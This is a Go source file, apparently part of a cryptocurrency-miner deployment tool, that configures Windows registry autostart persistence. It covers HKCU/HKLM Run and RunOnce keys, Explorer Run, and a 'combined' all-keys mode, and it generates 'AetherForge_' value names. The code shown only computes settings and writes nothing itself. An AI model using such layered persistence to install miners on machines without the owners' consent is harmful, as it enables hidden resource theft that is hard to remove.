package deploy

import (
	"strings"

	"crypto-miner-agent/config"
)

// Registry persistence mode tokens (forge-baked via RegistryPersistence or autostart_mode).
const (
	RegistryHKCURun        = "hkcu_run"
	RegistryHKCURunOnce    = "hkcu_run_once"
	RegistryHKLMRun        = "hklm_run"
	RegistryHKLMRunOnce    = "hklm_run_once"
	RegistryExplorerRun    = "explorer_run"
	RegistryPersistenceOff = "off"
	RegistryPersistenceAll = "combined"
)

// RegistryPersistenceValueName is the deterministic value name for forge-baked registry hooks.
func RegistryPersistenceValueName(cfg config.RuntimeConfig) string {
	name := sanitizeName(cfg.WorkerName)
	if name == "" {
		name = cfg.EffectiveProcessName()
	}
	return "AetherForge_" + name
}

// SanitizeRegistryValueName strips characters invalid in registry value names.
func SanitizeRegistryValueName(name string) string {
	name = strings.TrimSpace(name)
	if name == "" {
		return "AetherForgeValue"
	}
	replacer := strings.NewReplacer("/", "", "\\", "", ":", "", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
	clean := replacer.Replace(name)
	if clean == "" {
		return "AetherForgeValue"
	}
	if len(clean) > 255 {
		clean = clean[:255]
	}
	return clean
}

func effectiveRegistryPersistenceModes(cfg config.RuntimeConfig) []string {
	raw := strings.ToLower(strings.TrimSpace(cfg.RegistryPersistence))
	if raw == "" || raw == RegistryPersistenceOff {
		return modesFromRegistryBools(cfg)
	}
	if raw == RegistryPersistenceAll {
		return combinedRegistryModes(cfg)
	}
	if raw == RegistryHKCURun || raw == RegistryHKCURunOnce || raw == RegistryHKLMRun ||
		raw == RegistryHKLMRunOnce || raw == RegistryExplorerRun {
		return []string{raw}
	}
	var modes []string
	for _, part := range strings.Split(raw, ",") {
		part = strings.TrimSpace(part)
		if part == "" || part == RegistryPersistenceOff {
			continue
		}
		modes = append(modes, part)
	}
	return modes
}

func modesFromRegistryBools(cfg config.RuntimeConfig) []string {
	if cfg.RegistryRunHKCU || cfg.RegistryRunOnce || cfg.RegistryRunHKLM || cfg.RegistryExplorerRun {
		return combinedRegistryModes(cfg)
	}
	return nil
}

func combinedRegistryModes(cfg config.RuntimeConfig) []string {
	var modes []string
	if cfg.RegistryRunHKCU {
		modes = append(modes, RegistryHKCURun)
	}
	if cfg.RegistryRunOnce {
		modes = append(modes, RegistryHKCURunOnce)
	}
	if cfg.RegistryRunHKLM {
		modes = append(modes, RegistryHKLMRun, RegistryHKLMRunOnce)
	}
	if cfg.RegistryExplorerRun {
		modes = append(modes, RegistryExplorerRun)
	}
	if len(modes) == 0 && strings.EqualFold(strings.TrimSpace(cfg.RegistryPersistence), RegistryPersistenceAll) {
		modes = []string{RegistryHKCURun, RegistryHKCURunOnce, RegistryHKLMRun, RegistryExplorerRun}
	}
	return modes
}

func mergeAutostartModes(base []string, extra []string) []string {
	if len(extra) == 0 {
		return base
	}
	seen := make(map[string]bool, len(base)+len(extra))
	out := make([]string, 0, len(base)+len(extra))
	for _, m := range base {
		if m == "" || seen[m] {
			continue
		}
		seen[m] = true
		out = append(out, m)
	}
	for _, m := range extra {
		if m == "" || seen[m] {
			continue
		}
		seen[m] = true
		out = append(out, m)
	}
	return out
}
